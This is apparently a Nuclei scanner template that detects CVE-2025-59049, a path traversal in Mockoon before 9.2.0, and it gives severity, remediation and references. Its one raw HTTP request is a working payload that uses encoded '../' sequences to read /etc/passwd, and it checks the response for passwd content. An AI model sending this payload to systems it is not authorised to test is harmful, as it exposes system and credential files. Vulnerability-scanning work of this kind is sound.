Mockoon < 9.2.0 - Path Traversal

id: CVE-2025-59049

info:
  name: Mockoon < 9.2.0 - Path Traversal
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Mockoon before 9.2.0 contains a path traversal and local file inclusion caused by unsafe templating of server filenames from user input, letting attackers read arbitrary files on the mock server filesystem, exploit requires crafted request.
  impact: |
    Attackers can read arbitrary files from the mock server filesystem through path traversal in static file serving, potentially exposing sensitive configuration and credential files.
  remediation: |
    Upgrade Mockoon to version 9.2.0 or later that properly validates and restricts file paths in template processing.
  reference:
    - https://github.com/mockoon/mockoon/security/advisories/GHSA-w7f9-wqc4-3wxr
    - https://github.com/mockoon/mockoon/commit/c7f6e23e87dc3b8cc44e5802af046200a797bd2e
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59049
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-59049
    epss-score: 0.0166
    epss-percentile: 0.7387
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: mockoon
    product: mockoon
  tags: cve,cve2025,mockoon,lfi,path-traversal,vuln

variables:
  static_dir: "static"

http:
  - raw:
      - |
        GET /{{static_dir}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "application/json"
# digest: 4a0a0047304502204e015b8193c3b84539630e33aba9805eae47200f7a57c6ca156412b645e4f509022100bbbe820621db058424b52cc6ccc62dba069bbc928b221bdbb97de22efeb29fe3:922c64590222798bb761d5b6d8e72950